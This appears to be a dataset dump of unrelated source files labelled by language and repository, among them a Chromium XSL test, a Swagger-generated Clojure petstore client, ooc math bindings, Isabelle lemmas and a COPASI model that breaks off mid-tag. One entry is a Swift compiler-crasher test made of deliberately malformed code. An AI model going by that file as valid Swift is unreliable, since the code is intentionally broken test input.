<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="html"/> <xsl:template match="/"> <html> <head> <title>Frame 2</title> </head> <body> <script> alert(/resources/.test(document.location) ? "SUCCESS" : ("FAILURE: " + document.location)); </script> </body> </html> </xsl:template> </xsl:stylesheet>

XSLT

zealoussnow/chromium

third_party/blink/web_tests/fast/xsl/resources/subframe-location-frame.xsl

-@ val host : String = "localhost:8888" !!! 5 %html %head %title Socko Web Socket Example %body %script{:type => "text/javascript"} var t; var socket; if (!window.WebSocket) { window.WebSocket = window.MozWebSocket; } if (window.WebSocket) { socket = new WebSocket(\"ws://#{host}/websocket/\"); // Note the address must match the route socket.onmessage = function(event) { var ta = document.getElementById('responseText'); ta.value = ta.value + '\\n' + event.data }; socket.onopen = function(event) { var ta = document.getElementById('responseText'); ta.value = \"Web Socket opened!\"; }; socket.onclose = function(event) { var ta = document.getElementById('responseText'); ta.value = ta.value + \"Web Socket closed\"; }; } else { alert(\"Your browser does not support Web Sockets.\"); } function send(message) { if (!window.WebSocket) { return; } if (socket.readyState == WebSocket.OPEN) { socket.send(message); } else { alert(\"The socket is not open.\"); } } %h1 Socko Web Socket Example %form {:onsubmit => "return false"} %input {:type => "text",:name => "message",:value => "Hello, World!"} %input {:type => "button",:value => "Send Web Socket Data",:onclick =>"send(this.form.message.value)"} %h3 Output %textarea {:id="responseText",:style=>"width",:width => "500px",:height=>"3oopx"}

Scaml

truthencode/ddo-calc

incubating/toad-api/src/main/webapp/chat.scaml

$$ MODE TUSCRIPT files=FILE_NAMES (+,-std-) fileswtxt= FILTER_INDEX (files,":*.txt:",-) txtfiles= SELECT (files,#fileswtxt)

Turing

LaudateCorpus1/RosettaCodeData

Task/Walk-a-directory-Non-recursively/TUSCRIPT/walk-a-directory-non-recursively.tu

require "spec" require "http/formdata" describe HTTP::FormData::Parser do it "parses formdata" do formdata = <<-FORMDATA -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="text" text -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="file"; filename="a.txt" Content-Type: text/plain Content of a.txt. -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="file2"; filename="a.html" Content-Type: text/html <!DOCTYPE html><title>Content of a.html.</title> -----------------------------735323031399963166993862150-- FORMDATA parser = HTTP::FormData::Parser.new IO::Memory.new(formdata.gsub('\n', "\r\n")), "---------------------------735323031399963166993862150" runs = 0 while parser.has_next? parser.next do |part| case part.name when "text" part.body.gets_to_end.should eq("text") runs += 1 when "file" part.body.gets_to_end.should eq("Content of a.txt.\r\n") part.filename.should eq("a.txt") part.headers["Content-Type"].should eq("text/plain") runs += 1 when "file2" part.body.gets_to_end.should eq("<!DOCTYPE html><title>Content of a.html.</title>\r\n") part.filename.should eq("a.html") part.headers["Content-Type"].should eq("text/html") runs += 1 else raise "extra field" end end end runs.should eq(3) end end

Crystal

jessedoyle/crystal

spec/std/http/formdata/parser_spec.cr

(ns swagger-petstore.api.user (:require [swagger-petstore.core :refer [call-api check-required-params with-collection-format]]) (:import (java.io File))) (defn create-user-with-http-info "Create user This can only be done by the logged in user." ([] (create-user-with-http-info nil)) ([{:keys [body ]}] (call-api "/user" :post {:path-params {} :header-params {} :query-params {} :form-params {} :body-param body :content-types [] :accepts ["application/json" "application/xml"] :auth-names []}))) (defn create-user "Create user This can only be done by the logged in user." ([] (create-user nil)) ([optional-params] (:data (create-user-with-http-info optional-params)))) (defn create-users-with-array-input-with-http-info "Creates list of users with given input array " ([] (create-users-with-array-input-with-http-info nil)) ([{:keys [body ]}] (call-api "/user/createWithArray" :post {:path-params {} :header-params {} :query-params {} :form-params {} :body-param body :content-types [] :accepts ["application/json" "application/xml"] :auth-names []}))) (defn create-users-with-array-input "Creates list of users with given input array " ([] (create-users-with-array-input nil)) ([optional-params] (:data (create-users-with-array-input-with-http-info optional-params)))) (defn create-users-with-list-input-with-http-info "Creates list of users with given input array " ([] (create-users-with-list-input-with-http-info nil)) ([{:keys [body ]}] (call-api "/user/createWithList" :post {:path-params {} :header-params {} :query-params {} :form-params {} :body-param body :content-types [] :accepts ["application/json" "application/xml"] :auth-names []}))) (defn create-users-with-list-input "Creates list of users with given input array " ([] (create-users-with-list-input nil)) ([optional-params] (:data (create-users-with-list-input-with-http-info optional-params)))) (defn delete-user-with-http-info "Delete user This can only be done by the logged in user." [username ] (check-required-params username) (call-api "/user/{username}" :delete {:path-params {"username" username } :header-params {} :query-params {} :form-params {} :content-types [] :accepts ["application/json" "application/xml"] :auth-names []})) (defn delete-user "Delete user This can only be done by the logged in user." [username ] (:data (delete-user-with-http-info username))) (defn get-user-by-name-with-http-info "Get user by user name " [username ] (check-required-params username) (call-api "/user/{username}" :get {:path-params {"username" username } :header-params {} :query-params {} :form-params {} :content-types [] :accepts ["application/json" "application/xml"] :auth-names []})) (defn get-user-by-name "Get user by user name " [username ] (:data (get-user-by-name-with-http-info username))) (defn login-user-with-http-info "Logs user into the system " ([] (login-user-with-http-info nil)) ([{:keys [username password ]}] (call-api "/user/login" :get {:path-params {} :header-params {} :query-params {"username" username "password" password } :form-params {} :content-types [] :accepts ["application/json" "application/xml"] :auth-names []}))) (defn login-user "Logs user into the system " ([] (login-user nil)) ([optional-params] (:data (login-user-with-http-info optional-params)))) (defn logout-user-with-http-info "Logs out current logged in user session " [] (call-api "/user/logout" :get {:path-params {} :header-params {} :query-params {} :form-params {} :content-types [] :accepts ["application/json" "application/xml"] :auth-names []})) (defn logout-user "Logs out current logged in user session " [] (:data (logout-user-with-http-info))) (defn update-user-with-http-info "Updated user This can only be done by the logged in user." ([username ] (update-user-with-http-info username nil)) ([username {:keys [body ]}] (check-required-params username) (call-api "/user/{username}" :put {:path-params {"username" username } :header-params {} :query-params {} :form-params {} :body-param body :content-types [] :accepts ["application/json" "application/xml"] :auth-names []}))) (defn update-user "Updated user This can only be done by the logged in user." ([username ] (update-user username nil)) ([username optional-params] (:data (update-user-with-http-info username optional-params))))

Clojure

derBiggi/swagger-codegen

samples/client/petstore/clojure/src/swagger_petstore/api/user.clj

<?xml version="1.0" encoding="utf-8"?> <?python import time import datetime from ennepe import __url__, __version__ def rfc3339(date): date = datetime.datetime.fromtimestamp(time.mktime(date)) return date.isoformat() + 'Z' ?> <?xml-stylesheet href="http://www.atomenabled.org/css/atom.css" type="text/css"?> <feed xmlns="http://www.w3.org/2005/Atom" xmlns:py="http://purl.org/kid/ns#"> <title py:content="blogname" /> <id py:content="blogroot" /> <link rel="self" type="application/atom+xml" href="${'/'.join([blogroot]+muse.path)}" /> <link rel="alternate" type="application/xhtml+xml" href="${blogroot}/" /> <updated>${rfc3339(muse.entries[-1].date)}</updated> <generator uri="${__url__}" version="${__version__}"> Ennepe </generator> <author> <name py:content="authname" /> <email py:content="authemail" /> <uri py:content="authhome" /> </author> <entry py:for="e in entries"> <title type="text" py:content="e.subject" /> <link rel="alternate" type="application/xhtml+xml" href="${blogroot}/${`e.year`}/${`e.month`}/${`e.day`}/${`e.subject`}.xhtml" /> <id py:content="`e.id`" /> <published py:content="rfc3339(e.date)" /> <updated py:content="rfc3339(e.mtime)" /> <content type="xhtml"> <div xmlns="http://www.w3.org/1999/xhtml" py:content="XML(e.content)" /> </content> </entry> </feed>

Genshi

decklin/ennepe

examples/simple/style/atom.kid

'reach 0.1'; export const main = Reach.App( {}, [ Participant('A', { getA: Fun([], Array(UInt, 5)), }), ], (A) => { A.only(() => { const x = declassify(interact.getA().length); const y = array(UInt, [0, 1, 2]).length; assert(x == 5); assert(y == 3); }); A.publish(x, y); commit(); exit(); } );

RenderScript

chikeabuah/reach-lang

hs/t/y/array_length.rsh

include math use math PI := 3.14159_26535_89793_23846_26433_83279 abs: extern func (Int) -> Int cos: extern func (Double) -> Double sin: extern func (Double) -> Double tan: extern func (Double) -> Double acos: extern func (Double) -> Double asin: extern func (Double) -> Double atan: extern func (Double) -> Double atan2: extern func (Double, Double) -> Double sqrt: extern func (Double) -> Double pow: extern func (Double, Double) -> Double log: extern(log) func ~Double (Double) -> Double log: extern(logf) func ~Float (Float) -> Float log: extern(logl) func ~Long (LDouble) -> LDouble log10: extern(log10) func ~Double (Double) -> Double log10: extern(log10f) func ~Float (Float) -> Float log10: extern(log10l) func ~Long (LDouble) -> LDouble round: extern(lround) func ~dl (Double) -> Long ceil: extern(ceil) func ~Double (Double) -> Double ceil: extern(ceilf) func ~Float (Float) -> Float ceil: extern(ceill) func ~Long (LDouble) -> LDouble floor: extern(floor) func ~Double (Double) -> Double floor: extern(floorf) func ~Float (Float) -> Float floor: extern(floorl) func ~Long (LDouble) -> LDouble /* I don't think math.ooc should be a bunch of global functions, instead it should define a bunch of methods on the numeric classes. I'm going to write these methods but leave the existing functions alone for the sake of compatability. For future additions please define only methods and not the function versions to discourage use of the deprecated function versions. - Scott */ extend Double { cos: extern(cos) func -> This sin: extern(sin) func -> This tan: extern(tan) func -> This acos: extern(acos) func -> This asin: extern(asin) func -> This atan: extern(atan) func -> This cosh: extern(cosh) func -> This sinh: extern(sinh) func -> This tanh: extern(tanh) func -> This acosh: extern(acosh) func -> This asinh: extern(asinh) func -> This atanh: extern(atanh) func -> This atan2: extern(atan2) func (This) -> This sqrt: extern(sqrt) func -> This cbrt: extern(cbrt) func -> This abs: extern(fabs) func ~math -> This pow: extern(pow) func (This) -> This exp: extern(exp) func -> This log: extern(log) func -> This log10: extern(log10) func -> This mod: extern(fmod) func (This) -> This round: extern(round) func -> This roundLong: extern(lround) func -> Long roundLLong: extern(llround) func -> LLong ceil: extern(ceil) func -> This floor: extern(floor) func -> This truncate: extern(trunc) func -> This } extend Float { cos: extern(cosf) func -> This sin: extern(sinf) func -> This tan: extern(tanf) func -> This acos: extern(acosf) func -> This asin: extern(asinf) func -> This atan: extern(atanf) func -> This cosh: extern(coshf) func -> This sinh: extern(sinhf) func -> This tanh: extern(tanhf) func -> This acosh: extern(acoshf) func -> This asinh: extern(asinhf) func -> This atanh: extern(atanhf) func -> This atan2: extern(atan2f) func (This) -> This sqrt: extern(sqrtf) func -> This cbrt: extern(cbrtf) func -> This abs: extern(fabsf) func ~math -> This pow: extern(powf) func (This) -> This exp: extern(expf) func -> This log: extern(logf) func -> This log10: extern(log10f) func -> This mod: extern(fmodf) func (This) -> This round: extern(roundf) func -> This roundLong: extern(lroundf) func -> Long roundLLong: extern(llroundf) func -> LLong ceil: extern(ceilf) func -> This floor: extern(floorf) func -> This truncate: extern(truncf) func -> This } extend LDouble { cos: extern(cosl) func -> This sin: extern(sinl) func -> This tan: extern(tanl) func -> This acos: extern(acosl) func -> This asin: extern(asinl) func -> This atan: extern(atanl) func -> This cosh: extern(coshl) func -> This sinh: extern(sinhl) func -> This tanh: extern(tanhl) func -> This acosh: extern(acoshl) func -> This asinh: extern(asinhl) func -> This atanh: extern(atanhl) func -> This atan2: extern(atan2l) func (This) -> This sqrt: extern(sqrtl) func -> This cbrt: extern(cbrtl) func -> This abs: extern(fabsl) func ~math -> This pow: extern(powl) func (This) -> This exp: extern(expl) func -> This log: extern(logl) func -> This log10: extern(log10l) func -> This mod: extern(fmodl) func (This) -> This round: extern(roundl) func -> This roundLong: extern(lroundl) func -> Long roundLLong: extern(llroundl) func -> LLong ceil: extern(ceill) func -> This floor: extern(floorl) func -> This truncate: extern(truncl) func -> This }

ooc

fredrikbryntesson/launchtest

sdk/math.ooc

// This source file is part of the Swift.org open source project // Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See https://swift.org/LICENSE.txt for license information // See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors // RUN: not %target-swift-frontend %s -typecheck func a<h: T> { protocol b where B : C> U) -> ("]) class A { return self.dynamicType.<S { } protocol C { let h: b where S(#object1: c(b.R func compose("\() } func f: I.e: b((T>) { func a<c: ("a) } } A") protocol b : a { func a)

Swift

lwhsu/swift

validation-test/compiler_crashers_fixed/00900-swift-functiontype-get.swift

(* * Copyright 2014, NICTA * * This software may be distributed and modified according to the terms of * the BSD 2-Clause license. Note that NO WARRANTY is provided. * See "LICENSE_BSD2.txt" for details. * * @TAG(NICTA_BSD) *) theory Sep_Tactic_Helpers imports Separation_Algebra begin lemmas sep_curry = sep_conj_sep_impl[rotated] lemma sep_mp: "((Q \<longrightarrow>* R) \<and>* Q) s \<Longrightarrow> R s" by (rule sep_conj_sep_impl2) lemma sep_mp_frame: "((Q \<longrightarrow>* R) \<and>* Q \<and>* R') s \<Longrightarrow> (R \<and>* R') s" apply (clarsimp simp: sep_conj_assoc[symmetric]) apply (erule sep_conj_impl) apply (erule (1) sep_mp) done lemma sep_empty_conj: "P s \<Longrightarrow> (\<box> \<and>* P) s" by clarsimp lemma sep_conj_empty: "(\<box> \<and>* P) s \<Longrightarrow> P s" by clarsimp lemma sep_empty_imp: "(\<box> \<longrightarrow>* P) s \<Longrightarrow> P s" apply (clarsimp simp: sep_impl_def) apply (erule_tac x=0 in allE) apply (clarsimp) done lemma sep_empty_imp': "(\<box> \<longrightarrow>* P) s \<Longrightarrow> (\<And>s. P s \<Longrightarrow> Q s) \<Longrightarrow> Q s" apply (clarsimp simp: sep_impl_def) apply (erule_tac x=0 in allE) apply (clarsimp) done lemma sep_imp_empty: " P s \<Longrightarrow> (\<And>s. P s \<Longrightarrow> Q s) \<Longrightarrow> (\<box> \<longrightarrow>* Q) s" by (erule sep_conj_sep_impl, clarsimp) end

Isabelle

pirapira/eth-isabelle

sep_algebra/Sep_Tactic_Helpers.thy

<?xml version="1.0" encoding="UTF-8"?> <!-- generated with COPASI 4.12.81+ (Debug) (http://www.copasi.org) at 2014-05-09 16:35:46 UTC --> <?oxygen RNGSchema="http://www.copasi.org/static/schema/CopasiML.rng" type="xml"?> <COPASI xmlns="http://www.copasi.org/static/schema" versionMajor="4" versionMinor="12" versionDevel="81" copasiSourcesModified="1"> <ListOfFunctions> <Function key="Function_8" name="Henri-Michaelis-Menten (irreversible)" type="PreDefined" reversible="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_8"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2011-06-15T18:37:37Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> V*substrate/(Km+substrate) </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_41" name="substrate" order="0" role="substrate"/> <ParameterDescription key="FunctionParameter_30" name="Km" order="1" role="constant"/> <ParameterDescription key="FunctionParameter_45" name="V" order="2" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_55" name="C3_phos" type="UserDefined" reversible="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_55"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:27:58Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> vz*s10*T2/default </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_414" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_416" name="default" order="1" role="volume"/> <ParameterDescription key="FunctionParameter_412" name="s10" order="2" role="substrate"/> <ParameterDescription key="FunctionParameter_410" name="vz" order="3" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_56" name="transkription" type="UserDefined" reversible="unspecified"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_56"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:28:48Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> vx*T2/(kx+s11^hill)/default </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_413" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_424" name="default" order="1" role="volume"/> <ParameterDescription key="FunctionParameter_422" name="hill" order="2" role="constant"/> <ParameterDescription key="FunctionParameter_418" name="kx" order="3" role="constant"/> <ParameterDescription key="FunctionParameter_420" name="s11" order="4" role="modifier"/> <ParameterDescription key="FunctionParameter_417" name="vx" order="5" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_57" name="degradation" type="UserDefined" reversible="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_57"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:29:48Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> vxdegr*T2*s9/(kxdegr+s9)/default </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_421" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_428" name="default" order="1" role="volume"/> <ParameterDescription key="FunctionParameter_426" name="kxdegr" order="2" role="constant"/> <ParameterDescription key="FunctionParameter_411" name="s9" order="3" role="substrate"/> <ParameterDescription key="FunctionParameter_425" name="vxdegr" order="4" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_58" name="C3_degr" type="UserDefined" reversible="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_58"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:28:22Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> vydegr*T2*s10/(kydegr+s10)/default </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_415" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_433" name="default" order="1" role="volume"/> <ParameterDescription key="FunctionParameter_431" name="kydegr" order="2" role="constant"/> <ParameterDescription key="FunctionParameter_423" name="s10" order="3" role="substrate"/> <ParameterDescription key="FunctionParameter_429" name="vydegr" order="4" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_59" name="C3_phosdegr" type="UserDefined" reversible="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_59"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:28:50Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> vzdegr*T2*s11/(kzdegr+s11)/default </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_430" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_438" name="default" order="1" role="volume"/> <ParameterDescription key="FunctionParameter_436" name="kzdegr" order="2" role="constant"/> <ParameterDescription key="FunctionParameter_427" name="s11" order="3" role="substrate"/> <ParameterDescription key="FunctionParameter_434" name="vzdegr" order="4" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_60" name="translation" type="UserDefined" reversible="unspecified"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_60"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:29:28Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> vy*s9*T2/default </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_432" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_441" name="default" order="1" role="volume"/> <ParameterDescription key="FunctionParameter_435" name="s9" order="2" role="modifier"/> <ParameterDescription key="FunctionParameter_439" name="vy" order="3" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_61" name="Rate Law for temperature dependent mass action" type="UserDefined" reversible="unspecified"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_61"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-06T12:53:07Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> T2*k*s </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_442" name="T2" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_419" name="k" order="1" role="constant"/> <ParameterDescription key="FunctionParameter_443" name="s" order="2" role="substrate"/> </ListOfParameterDescriptions> </Function> <Function key="Function_62" name="Rate Law for temperatur dependent Michaelis Menten" type="UserDefined" reversible="unspecified"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_62"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-06T12:54:31Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> V_deg*T2*s/(k_deg+s) </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_444" name="V_deg" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_440" name="T2" order="1" role="constant"/> <ParameterDescription key="FunctionParameter_446" name="s" order="2" role="substrate"/> <ParameterDescription key="FunctionParameter_448" name="k_deg" order="3" role="constant"/> </ListOfParameterDescriptions> </Function> <Function key="Function_63" name="Rate law for variable complex formation" type="UserDefined" reversible="unspecified"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Function_63"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:21:49Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Expression> k*s1^a*s2*T2 </Expression> <ListOfParameterDescriptions> <ParameterDescription key="FunctionParameter_449" name="k" order="0" role="constant"/> <ParameterDescription key="FunctionParameter_445" name="s1" order="1" role="substrate"/> <ParameterDescription key="FunctionParameter_450" name="a" order="2" role="constant"/> <ParameterDescription key="FunctionParameter_452" name="s2" order="3" role="substrate"/> <ParameterDescription key="FunctionParameter_454" name="T2" order="4" role="constant"/> </ListOfParameterDescriptions> </Function> </ListOfFunctions> <Model key="Model_5" name="circadianC1C3complex" simulationType="time" timeUnit="h" volumeUnit="l" areaUnit="m²" lengthUnit="m" quantityUnit="nmol" type="deterministic" avogadroConstant="6.02214e+23"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Model_5"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:44:17Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <Comment> <body xmlns="http://www.w3.org/1999/xhtml"> </body> </Comment> <ListOfCompartments> <Compartment key="Compartment_3" name="default" simulationType="fixed" dimensionality="3"> </Compartment> </ListOfCompartments> <ListOfMetabolites> <Metabolite key="Metabolite_21" name="C3_Gene" simulationType="fixed" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_21"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T12:38:53Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_23" name="C3_mRNA" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_23"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-05T17:21:05Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_25" name="C_3" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_25"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T12:37:55Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_27" name="C_3_P" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_27"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:50:28Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_29" name="C_3_pre" simulationType="fixed" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_29"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T12:38:05Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_31" name="C1" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_31"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T12:38:34Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_33" name="C1_mRNA" simulationType="fixed" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:CopasiMT="http://www.copasi.org/RDF/MiriamTerms#" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_33"> <dcterms:bibliographicCitation> <rdf:Description> <CopasiMT:isDescribedBy rdf:resource="urn:miriam:pubmed:899" /> </rdf:Description> </dcterms:bibliographicCitation> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-09-27T16:50:47Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_35" name="C1_phos" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_35"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:08:53Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_37" name="c1c3complex" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_37"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T12:39:13Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_39" name="K_C1" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_39"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T16:14:54Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_41" name="K_C1_P" simulationType="reactions" compartment="Compartment_3"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Metabolite_41"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T16:14:59Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> </Metabolite> <Metabolite key="Metabolite_43" 